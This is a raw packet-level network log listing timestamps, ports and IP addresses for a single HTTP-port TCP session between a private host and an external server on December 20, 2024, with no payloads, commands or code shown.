Dec 20, 2024 17:11:00.985755920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:00.985769033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:00.985797882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.040365934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.107341051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.107381105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.107388973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.107523918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.107628107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.107693911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.107939005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.108141899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.108179092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.108237028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.108242989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.108257055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.108297110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.108609915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.108668089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.108683109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.108895063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.108906984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.108946085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.109112978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.109160900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.109283924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.109297037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.109333992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.109551907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.109870911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.109915018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.109967947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.110166073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.110286951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.110299110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.110337019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.110565901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.111044884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.111093044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.111167908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.111344099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.111362934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.111406088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.111759901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.111802101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.111923933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.111937046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.111965895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.112240076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.112546921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.112593889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.112649918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.112953901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.112965107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.113022089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.113363028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.113404989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.113534927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.113548040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.113585949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.113832951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.114125013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.114239931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.114253044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.114285946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.114584923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.115016937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.115061998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.115206957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.115220070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.115251064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.115354061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.115736008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.115778923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.115854979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.115868092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.115901947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.116173029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.116672039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.116714954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.116972923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.116985083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.117023945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.117043018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.117440939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.117486954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.117582083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.117595911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.117639065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.117892981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.118383884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.118537903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.118550062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.118586063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.118793011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.118969917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.119035959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.119048119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.119081974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.119101048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.119287968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.165384054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.170039892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.170068026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.170078993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.170145988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.170248032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.170260906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.170300007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.170425892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.170471907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.170557976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.170994997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.171050072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.171062946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.171098948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.171303988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.171885014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.172039032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.172049999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.172094107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.172447920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.172461033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.172472000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.172497034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.172878981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.172890902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.172903061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.172928095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.172950983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.173104048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.173561096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.173724890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.173736095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.173774958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.173995018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.174432039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.174483061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.237241983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.237339973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.237354040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.237422943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.237570047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.237637997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.237695932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.237765074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.237807989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.237957954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.237968922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.238470078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.238517046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.238548040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.238559961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.238588095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.238758087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.238797903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.239280939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.239404917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.239418030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.239455938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.239598989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.239648104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.240016937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.240139961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.240150928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.240195036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.240356922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.240400076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.240802050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.290379047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.299410105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.299433947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.299446106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.299484015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.299598932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.299644947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.299757957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.299771070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.299864054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.299988031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.300208092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.300261974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.300296068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.300307989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.300342083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.300510883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.300981045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.301023960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.301086903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.301098108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.301136017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.301644087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.301743984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.301754951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.301784039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.301963091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.302006960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.302340031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.302411079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.302434921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.302473068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.302937984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.302974939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.303014994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.303026915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.303061962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.303148985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.303664923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.303704977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.303744078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.303755045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.303798914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.303952932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.304450989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.304495096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.304558039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.304568052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.304610968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.304743052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.305248022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.305300951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.305352926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.305542946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.305553913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.305592060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.306022882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.306071997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.306108952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.306122065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.306166887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.306374073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.306838036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.306880951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.306957006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.306967974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.307174921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.307198048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.307631969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.307676077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.307749987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.307761908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.307797909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.307966948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.308432102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.308480024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.308521986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.308533907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.308569908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.308753014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.309259892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.309324026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.309336901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.309376001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.309401989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.309578896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.310175896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.310225964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.310317993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.310331106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.310379028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.310529947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.310884953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.311013937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.311026096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.311069012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.311090946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.311151981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.311719894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.311759949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.311783075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.311794996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.311841011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.363297939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.363362074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.363373995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.363434076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.363626003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.363708973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.363720894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.363760948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.363967896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.364093065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.364140034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.364429951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.364509106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.364518881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.364554882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.364717007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.364775896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.365235090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.365441084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.365478039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.365516901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.365592003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.365617037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.365631104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.365658045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.365675926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.366274118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.366338015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.366350889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.366383076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.415375948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.429789066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.429819107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.429831982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.429970980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.430001020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.430011988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.430032015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.430311918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.430407047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.430457115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.430758953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.430804014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.430857897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.430871010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.430913925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.431114912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.431611061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.431724072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.431737900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.431773901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.432120085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.432147980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.432245970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.432260036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.432282925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.432426929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.432465076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.432857037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.432929993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.432944059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.432985067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.433192968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.433233023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.433468103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.433573008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.433585882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.433629036 CET	49744	80	192.168.2.4	185.215.113.16
